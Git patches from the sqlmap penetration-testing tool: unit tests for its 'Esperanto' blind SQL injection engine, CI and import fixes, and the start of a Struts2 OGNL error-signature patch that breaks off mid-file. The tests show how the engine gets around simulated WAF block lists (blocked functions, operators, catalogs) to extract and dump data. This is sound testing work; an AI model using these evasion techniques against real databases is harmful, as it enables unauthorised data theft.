esp.discover() + strat = esp.strategy() + self.assertRaises(AttributeError, setattr, strat, "compare_mode", "x") + self.assertEqual(hostExtract(ask, strat, "(SELECT v FROM k)"), "Str4t3gy!") + self.assertTrue(strat.asQueriesRow()["substring"]) + + def test_pattern_match_fallback(self): + # SUBSTR + LENGTH + hex + code fns ALL blacklisted -> pure GLOB/LIKE floor + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE flag (id INTEGER, v TEXT)") + con.execute("INSERT INTO flag VALUES (1, 'FLAG{no_SUBSTR_%_needed}')") + con.commit() + blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|" + r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD)\(|\bHEX\(|" + r"RAWTOHEX|ENCODE\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertIsNotNone(esp.dialect.prefix) + self.assertEqual(esp.extract("(SELECT v FROM flag WHERE id=1)"), "FLAG{no_SUBSTR_%_needed}") + + def test_like_floor_escapes_wildcard_chars(self): + # the classic trap: on the LIKE floor '_' and '%' ARE the wildcards, so a value + # like 'all_products' must escape them (\_ ESCAPE '\'), not treat them as + # match-anything. GLOB is blocked here to force LIKE (where '_'/'%' are magic). + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE v (val TEXT)") + con.execute("INSERT INTO v VALUES ('all_products')") + for t in ("all_products", "wp_users", "sales%2024"): # '_'/'%' in identifiers + con.execute('CREATE TABLE "%s" (id)' % t) + con.commit() + blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|" + r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD|CODEPOINT)\(|" + r"\bHEX\(|RAWTOHEX|ENCODE\(|GLOB") # +GLOB -> only LIKE left + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertEqual(esp.dialect.prefix.name, "LIKE") # GLOB gone -> LIKE floor + self.assertEqual(esp.extract("(SELECT val FROM v)"), "all_products") + tabs = esp.enumerate("table", limit=10) or [] + self.assertEqual(sorted(tabs), ["all_products", "sales%2024", "v", "wp_users"]) + + def test_length_from_substring(self): + # every length fn blacklisted but SUBSTR present -> length derived from the end + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t6 (v TEXT)") + con.execute(u"INSERT INTO t6 VALUES ('Admin-42€')") + con.commit() + blk = re.compile(r"(?i)\b(CHAR_LENGTH|LENGTH|LEN)\s*\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + d = esp.discover() + self.assertIsNone(d.length) + self.assertEqual(esp.extract("(SELECT v FROM t6)"), u"Admin-42€") + + def test_enumeration_degrades_not_crashes(self): + # a permission/charset wall mid-walk (oracle can't decide the keyset bound) + # must STOP with partial results, never crash with OracleUndecided + con = sqlite3.connect(":memory:") + for t in ("alpha", "beta", "gamma"): + con.execute("CREATE TABLE %s (x)" % t) + con.commit() + + def ask(cond): + if "name>" in cond.replace(" ", "").lower(): # the keyset bound + raise RuntimeError("simulated permission/charset wall") + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + names = esp.enumerate("table", limit=10) # must not raise + self.assertEqual(names, ["alpha"]) + self.assertTrue(any("stopped early" in n for n in esp.dialect.notes)) + + def test_left_right_rung(self): + # SUBSTR/SUBSTRING/MID blocked but LEFT+RIGHT present -> RIGHT(LEFT(x,p),1) + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t7 (v TEXT)") + con.execute("INSERT INTO t7 VALUES ('Zagreb-42')") + con.commit() + con.create_function("LEFT", 2, lambda s, n: (s or "")[:max(n, 0)]) + con.create_function("RIGHT", 2, lambda s, n: (s or "")[len(s or "") - n:] if n > 0 else "") + blk = re.compile(r"(?i)\b(SUBSTR|SUBSTRING|SUBSTRC|MID)\s*\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + d = esp.discover() + self.assertTrue(d.substring is not None and d.substring[0] == "left_right") + self.assertEqual(esp.extract("(SELECT v FROM t7)"), "Zagreb-42") + + # -- adversarial dialect scenarios --------------------------------------------- + + def _adapt(self, oracle): + esp = Esperanto(oracle) + esp.discover() + return esp, esp.extract(_SECRET_EXPR) + + def test_disguise_substring_is_SUBSTRING(self): + # SUBSTR/MID blocked; the engine "has" SUBSTRING -> mapped to SQLite substr + esp, got = self._adapt(_disguisedOracle( + blocked=r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(", + rewrites=[(r"SUBSTRING\(", "substr(")])) + self.assertEqual(esp.dialect.substring[0], "SUBSTRING") + self.assertEqual(got, "admin") + + def test_disguise_length_is_LEN(self): + # CHAR_LENGTH/LENGTH blocked; the engine "has" LEN -> mapped to SQLite length + esp, got = self._adapt(_disguisedOracle( + blocked=r"CHAR_LENGTH\(|\bLENGTH\(", + rewrites=[(r"\bLEN\(", "length(")])) + self.assertEqual(esp.dialect.length[0], "LEN") + self.assertEqual(got, "admin") + + def test_disguise_charcode_is_ASCII(self): + # UNICODE/ORD blocked; the engine "has" ASCII -> mapped to SQLite unicode() + esp, got = self._adapt(_disguisedOracle( + blocked=r"\bUNICODE\(|\bORD\(|CODEPOINT\(", + rewrites=[(r"\bASCII\(", "unicode(")])) + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.dialect.compare, "code") + self.assertEqual(got, "admin") + + def test_disguise_concat_is_CONCAT_not_pipes(self): + # || blocked (as if it were logical OR, MySQL-style); engine has variadic CONCAT + esp, got = self._adapt(_disguisedOracle( + blocked=r"\|\|", + funcs=[("CONCAT", -1, _concatFn)])) + self.assertEqual(esp.dialect.concat[0], "concat") + self.assertEqual(got, "admin") + + def test_disguise_no_catalog_brute_forces_schema(self): + # every system catalog denied: the engine knows NOTHING about the schema and + # must brute-force the table + columns, then dump + esp = Esperanto(_disguisedOracle( + blocked=r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|" + r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas")) + esp.discover() + self.assertIsNone(esp.dialect.catalog) + self.assertEqual(esp.enumerate("table"), ["users"]) + self.assertEqual(esp.columns("users"), ["id", "name", "email"]) + rows = (esp.dump("users") or {}).get("rows") + self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]]) + + def test_disguise_gt_blocked_falls_to_between(self): + # a WAF that strips '<'/'>' must not break bisection - retry via BETWEEN + esp = Esperanto(_disguisedOracle(blocked=r">|<")) + esp.discover() + self.assertEqual(esp._comparator, "between") + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # BETWEEN keyset pages all + + def test_disguise_gt_and_between_blocked_use_in(self): + # '<'/'>' AND BETWEEN gone: order-free IN() subset bisection for the chars and + # NOT IN() paging for the rows - needs only '=' membership + esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN")) + esp.discover() + self.assertEqual(esp._comparator, "membership") + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # NOT IN() pages all + + def test_disguise_no_ordering_no_in_still_extracts(self): + # the hard floor: no '<'/'>', no BETWEEN, no IN - only '=' equality. Values + # still extract (linear scan); multi-row dump honestly degrades (can't page) + esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN|\bIN\s*\(")) + esp.discover() + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + rows = (esp.dump("users") or {}).get("rows") + self.assertTrue(rows and rows[0] == ["1", "luther", "a@b.c"]) + + def test_disguise_everything_at_once(self): + # the monster: SUBSTRING + LEN + ASCII(->unicode) + variadic CONCAT (no ||) + + # NO catalog, all at once - the engine must adapt to every disguise and dump + esp = Esperanto(_disguisedOracle( + blocked=(r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(|CHAR_LENGTH\(|\bLENGTH\(|" + r"\bUNICODE\(|\bORD\(|CODEPOINT\(|\|\||" + r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|" + r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas"), + rewrites=[(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\bASCII\(", "unicode(")], + funcs=[("CONCAT", -1, _concatFn)])) + esp.discover() + self.assertEqual(esp.dialect.substring[0], "SUBSTRING") + self.assertEqual(esp.dialect.length[0], "LEN") + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.dialect.concat[0], "concat") + self.assertIsNone(esp.dialect.catalog) + rows = (esp.dump("users") or {}).get("rows") + self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]]) + + def test_disguise_dialect_profiles(self): + # each coherent fake back-end must be discovered from scratch and yield every + # row byte-exact - not just the one capability the disguise touches (column + # ORDER is a dialect detail, so compare rows as column->value maps) + want = set(frozenset(d.items()) for d in ( + {"id": "1", "name": "luther", "email": "a@b.c"}, + {"id": "2", "name": "admin", "email": "p@w.n"}, + {"id": "3", "name": "wu", "email": None})) + for name, blocked, rewrites, funcs in _DIALECTS: + esp = Esperanto(_disguisedOracle(blocked, rewrites, funcs)) + esp.discover() + self.assertEqual(esp.extract(_SECRET_EXPR), "admin", "%s: extract" % name) + d = esp.dump("users") or {} + got = set(frozenset(dict(zip(d.get("columns") or [], r)).items()) for r in (d.get("rows") or [])) + self.assertEqual(got, want, "%s: dump %r" % (name, d.get("rows"))) + + def test_disguise_bracket_quoting_reserved_words(self): + # '"' and backtick idents blocked -> the engine must fall to [..] quoting to + # reach reserved-word columns; commas/quotes in the data must survive framing + seed = ('CREATE TABLE q (id INTEGER, "order" TEXT, "group" TEXT)', + "INSERT INTO q VALUES (1, ?, ?)") + con = sqlite3.connect(":memory:") + con.execute(seed[0]); con.execute(seed[1], ("a,b", "x'y")); con.commit() + blk = re.compile(r'"|`') + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + dq = esp.dump("q") + self.assertEqual(esp.dialect.identQuote, ("[", "]")) # forced past " and ` to [..] + got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"]) + want = set([frozenset({"id": "1", "order": "a,b", "group": "x'y"}.items())]) + self.assertTrue(dq["complete"] and got == want, "bracket-quoted dump: %r" % dq["rows"]) + + def test_disguise_lossy_charcode_escalates_to_hex(self): + # a first-byte charcode fn (MySQL-style ASCII) is lossy for non-ASCII; the + # engine must detect that and escalate to hex, recovering the bytes exactly + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute(u"INSERT INTO t VALUES ('café-€')") # cafe-EUR + con.commit() + con.create_function("ASCII", 1, lambda s: (bytearray(s.encode("utf-8"))[0] if s else None)) + blk = re.compile(r"\bUNICODE\(|\bORD\(|CODEPOINT\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.extractText("(SELECT v FROM t)"), u"café-€") + + def test_disguise_unicode_through_dialect(self): + # non-ASCII data recovered byte-exact even while the dialect is disguised + # (SUBSTR/MID/CHAR_LENGTH/LENGTH blocked -> SUBSTRING/LEN mapped to SQLite) + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE s (v TEXT)") + con.execute(u"INSERT INTO s VALUES ('Zagreb-župa-€42')") # Zagreb-zupa-EUR42 + con.commit() + blk = re.compile(r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(", re.I) + rw = [(re.compile(r"SUBSTRING\(", re.I), "substr("), (re.compile(r"\bLEN\(", re.I), "length(")] + + def ask(cond): + if blk.search(cond): + return False + sql = cond + for rx, rep in rw: + sql = rx.sub(rep, sql) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + self.assertEqual(esp.extractText("(SELECT v FROM s)"), u"Zagreb-župa-€42") + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 43c657405634454fa72f24638b10032f55e90377 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 16 Jul 2026 18:33:39 +0200 Subject: [PATCH 764/853] Fixing CI/CD errors --- .github/workflows/tests.yml | 6 ++++++ extra/esperanto/__init__.py | 2 ++ extra/esperanto/atlas.py | 8 +++++++- extra/esperanto/discovery.py | 21 +++++++++++++++++++-- extra/esperanto/engine.py | 7 +++++-- extra/esperanto/enumeration.py | 14 ++++++++++++-- extra/esperanto/extraction.py | 19 +++++++++++++++++-- extra/esperanto/oracle.py | 4 ++-- extra/esperanto/records.py | 3 --- lib/core/settings.py | 2 +- lib/core/testing.py | 1 + 11 files changed, 72 insertions(+), 15 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 85ae78c0ea7..98dedd5cd4f 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -111,6 +111,12 @@ jobs: # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean. run: python -B -m unittest discover -s tests -p "test_*.py" + - name: Esperanto self-test + # offline, deterministic engine check against an in-memory SQLite boolean oracle: all + # compare modes + identify + bytes/text + noisy-oracle quorum + integrity + strategy + # handoff (a failed assertion exits non-zero) + run: python extra/esperanto/run.py --self-test + - name: Coverage if: matrix.python-version != 'pypy-2.7' run: | diff --git a/extra/esperanto/__init__.py b/extra/esperanto/__init__.py index 81500240451..cc2cb9e39fb 100644 --- a/extra/esperanto/__init__.py +++ b/extra/esperanto/__init__.py @@ -24,3 +24,5 @@ from .handler import buildHandler from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy from .records import OracleUndecided, QueryBudgetExceeded + +__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "OracleUndecided", "QueryBudgetExceeded"] diff --git a/extra/esperanto/atlas.py b/extra/esperanto/atlas.py index 07ae9981b77..40e51691606 100644 --- a/extra/esperanto/atlas.py +++ b/extra/esperanto/atlas.py @@ -418,12 +418,18 @@ def _isSingleUnicodeScalar(value): except NameError: _unichr = chr # py3 +# py2/py3 shim: the py2 unicode text type (str on py3) +try: + _unicode = unicode # py2 +except NameError: + _unicode = str # py3 + def _native(s): # embed a literal as the native str type: on py2 a unicode value is encoded to # utf-8 bytes so the byte-string SQL templates ('{expr}'.format(...)) don't force # an ascii encode of non-ASCII data; on py3 str is already unicode-clean. - if str is bytes and isinstance(s, unicode): # py2 only (unicode unresolved on py3) + if str is bytes and isinstance(s, _unicode): # py2 only return s.encode("utf-8") return s diff --git a/extra/esperanto/discovery.py b/extra/esperanto/discovery.py index 7463526afd9..9b5a24b9e90 100644 --- a/extra/esperanto/discovery.py +++ b/extra/esperanto/discovery.py @@ -5,8 +5,25 @@ See the file 'LICENSE' for copying permission """ -from .atlas import * -from .records import * +from .atlas import _BANNER_KEYWORDS +from .atlas import _BANNERS +from .atlas import _BINWRAP +from .atlas import _BYTELEN +from .atlas import _CATALOGS +from .atlas import _CHARCODE +from .atlas import _CHARFROM +from .atlas import _COALESCE +from .atlas import _CONCAT +from .atlas import _DUAL +from .atlas import _DUAL_IMPLIES +from .atlas import _HEXFN +from .atlas import _IDENTITY +from .atlas import _LENGTH +from .atlas import _PREFIX +from .atlas import _SUBSTRING +from .atlas import _TEXTCAST +from .records import Cap +from .records import OracleUndecided class _Discovery(object): diff --git a/extra/esperanto/engine.py b/extra/esperanto/engine.py index 7179529dc95..d5ea7be15f5 100644 --- a/extra/esperanto/engine.py +++ b/extra/esperanto/engine.py @@ -5,8 +5,11 @@ See the file 'LICENSE' for copying permission """ -from .atlas import * -from .records import * +from .atlas import _FREQ_ORDER +from .atlas import _PRINTABLE_SORTED +from .atlas import _REPL +from .atlas import _unichr +from .records import Dialect from .oracle import _OracleCore from .discovery import _Discovery from .extraction import _Extraction diff --git a/extra/esperanto/enumeration.py b/extra/esperanto/enumeration.py index 2a0e9274fb9..28709458ba7 100644 --- a/extra/esperanto/enumeration.py +++ b/extra/esperanto/enumeration.py @@ -5,8 +5,18 @@ See the file 'LICENSE' for copying permission """ -from .atlas import * -from .records import * +from .atlas import _BULK_AGG +from .atlas import _COLUMN_SPECS +from .atlas import _HEX_PAYLOAD_CODES +from .atlas import _IDENT_QUOTE +from .atlas import _KEY_SPECS +from .atlas import _REPL +from .atlas import _ROWID +from .atlas import _ROWID_LITBOUND +from .records import BulkResult +from .records import Cap +from .records import InferenceStrategy +from .records import OracleUndecided from .wordlist import commonColumns from .wordlist import commonTables diff --git a/extra/esperanto/extraction.py b/extra/esperanto/extraction.py index db5ea6dfef9..e3b01656b36 100644 --- a/extra/esperanto/extraction.py +++ b/extra/esperanto/extraction.py @@ -5,8 +5,23 @@ See the file 'LICENSE' for copying permission """ -from .atlas import * -from .records import * +import binascii + +from .atlas import _FREQ_ORDER +from .atlas import _HEX_Q_ENCODINGS +from .atlas import _HEXDIGITS +from .atlas import _HEXFN +from .atlas import _isSingleUnicodeScalar +from .atlas import _MAX_HEX_CHAR_NIBBLES +from .atlas import _native +from .atlas import _PRINTABLE_SORTED +from .atlas import _REPL +from .atlas import _SIMILAR_META +from .atlas import _UNICODE_MAX +from .atlas import _unhexlify +from .atlas import _unichr +from .records import Cap +from .records import ExtractResult class _Extraction(object): diff --git a/extra/esperanto/oracle.py b/extra/esperanto/oracle.py index 5cbe526a115..e31da724d0a 100644 --- a/extra/esperanto/oracle.py +++ b/extra/esperanto/oracle.py @@ -7,8 +7,8 @@ from contextlib import contextmanager -from .atlas import * -from .records import * +from .records import OracleUndecided +from .records import QueryBudgetExceeded class _OracleCore(object): diff --git a/extra/esperanto/records.py b/extra/esperanto/records.py index fa9d7a79239..67733e70f4f 100644 --- a/extra/esperanto/records.py +++ b/extra/esperanto/records.py @@ -5,9 +5,6 @@ See the file 'LICENSE' for copying permission """ -from .atlas import * - - class OracleUndecided(RuntimeError): """The oracle gave no reliable True/False after retries/voting - a transport or observation failure, NOT a definitive answer. Raised so blind extraction fails diff --git a/lib/core/settings.py b/lib/core/settings.py index b9f61edd2fe..ebf0cb0bb0e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.107" +VERSION = "1.10.7.108" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index c983ebdc66e..37f20aef01b 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -97,6 +97,7 @@ def vulnTest(tests=None, label="vuln"): ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction + ("-u --flush-session --esperanto --technique=B --banner", ("using the DBMS-agnostic 'Esperanto' engine", "Esperanto dialect verdict: SQLite", "banner: '3.")), # Esperanto: DBMS-agnostic boolean-oracle engine drives --banner end-to-end through the real sqlmap handler (fingerprinting skipped, dialect discovered from scratch, banner blind-extracted) ("-u \"xxe\" --data=\"x\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), From 0c6f57d9ec38a0928dbacff056a7c22dfe9f09ca Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 16 Jul 2026 18:52:55 +0200 Subject: [PATCH 765/853] Fixing CI/CD errors --- lib/core/convert.py | 2 +- lib/core/settings.py | 2 +- tests/test_pagecontent.py | 7 +++++++ 3 files changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index b7ac02809d5..a925bba6701 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -184,7 +184,7 @@ def _serializeDecode(struct): # that would surface as 'bytes' and break str consumers - most visibly kb.chars, # whose str-key lookups then return None and crash cleanupPayload(). Recover such # cross-version TEXT by decoding valid UTF-8 to 'str'; real binary stays bytes. - if struct.get("pv") == 3: + if struct.get("pv") == 3 or not six.PY3: return raw try: return raw.decode("utf-8") diff --git a/lib/core/settings.py b/lib/core/settings.py index ebf0cb0bb0e..75a6ee242f2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.108" +VERSION = "1.10.7.109" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_pagecontent.py b/tests/test_pagecontent.py index 6d777ef21d8..4dd903fa0f6 100644 --- a/tests/test_pagecontent.py +++ b/tests/test_pagecontent.py @@ -24,6 +24,7 @@ from lib.core.common import (getFilteredPageContent, getPageWordSet, extractTextTagContent, parseSqliteTableSchema) +from lib.core.data import conf from lib.core.data import kb @@ -60,8 +61,14 @@ def test_multiple_tags(self): class TestParseSqliteTableSchema(unittest.TestCase): def setUp(self): + # parseSqliteTableSchema keys cachedColumns by conf.db/conf.tbl - reset them (not just + # cachedColumns) so a leaked db/tbl from a prior test can't shift the storage key and + # break this test's [None][None] lookup (order-dependent flake under PyPy discovery) self.addCleanup(setattr, kb.data, "cachedColumns", kb.data.get("cachedColumns")) + self.addCleanup(setattr, conf, "db", conf.get("db")) + self.addCleanup(setattr, conf, "tbl", conf.get("tbl")) kb.data.cachedColumns = {} + conf.db = conf.tbl = None def _cols(self): # parseSqliteTableSchema stores under cachedColumns[db][table] (both None here) From 9db49d5e34eef29e6f5f765fe318b84a0bfec4c1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 16 Jul 2026 19:10:42 +0200 Subject: [PATCH 766/853] Fixing CI/CD errors --- lib/core/settings.py | 2 +- tests/test_esperanto.py | 16 ++++++++++++---- 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 75a6ee242f2..66afa859a62 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.109" +VERSION = "1.10.7.110" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_esperanto.py b/tests/test_esperanto.py index a53b5a9839a..fcb797ccfe8 100644 --- a/tests/test_esperanto.py +++ b/tests/test_esperanto.py @@ -449,20 +449,28 @@ def ask(cond): self.assertTrue(any("stopped early" in n for n in esp.dialect.notes)) def test_left_right_rung(self): - # SUBSTR/SUBSTRING/MID blocked but LEFT+RIGHT present -> RIGHT(LEFT(x,p),1) + # SUBSTR/SUBSTRING/MID blocked but LEFT+RIGHT present -> RIGHT(LEFT(x,p),1). + # LEFT/RIGHT are reserved JOIN keywords in SQLite; some builds reject LEFT(/RIGHT( + # as function calls (syntax error, keyword) rather than invoking a same-named UDF, + # so register the shims under non-keyword names and translate the engine's LEFT(/ + # RIGHT( onto them (the same rewrite the disguised-dialect oracles use). Keeps the + # test portable across SQLite builds while still exercising the real left_right rung. con = sqlite3.connect(":memory:") con.execute("CREATE TABLE t7 (v TEXT)") con.execute("INSERT INTO t7 VALUES ('Zagreb-42')") con.commit() - con.create_function("LEFT", 2, lambda s, n: (s or "")[:max(n, 0)]) - con.create_function("RIGHT", 2, lambda s, n: (s or "")[len(s or "") - n:] if n > 0 else "") + con.create_function("esp_left", 2, lambda s, n: (s or "")[:max(n, 0)]) + con.create_function("esp_right", 2, lambda s, n: (s or "")[len(s or "") - n:] if n > 0 else "") blk = re.compile(r"(?i)\b(SUBSTR|SUBSTRING|SUBSTRC|MID)\s*\(") + rwLeft = re.compile(r"(?i)\bLEFT\s*\(") + rwRight = re.compile(r"(?i)\bRIGHT\s*\(") def ask(cond): if blk.search(cond): return False + sql = rwRight.sub("esp_right(", rwLeft.sub("esp_left(", cond)) try: - return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 except sqlite3.DatabaseError: return False esp = Esperanto(ask) From b38eb79ed051b8bdabb449dd89be1f584d057d5e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 17 Jul 2026 09:56:32 +0200 Subject: [PATCH 767/853] Implementing support for Struts2 into --ssti --- lib/core/settings.py | 3 +- lib/techniques/ssti/inject.py | 132 +++++++++++++++++++++++++++++++--- tests/test_ssti.py | 53 ++++++++++++++ 3 files changed, 179 insertions(+), 9 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 66afa859a62..d0f79826d4e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.110" +VERSION = "1.10.7.111" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1121,6 +1121,7 @@ ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"), ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"), ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"), + ("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"), ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"), ("Pug/Jade", r"pug|jade|ParseError"), ("Handlebars", r"handlebars|Handlebars|Parse error on line"), diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index d518ca1b80b..c62cb2af559 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -18,10 +18,12 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE from lib.core.settings import SSTI_ERROR_SIGNATURES from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import 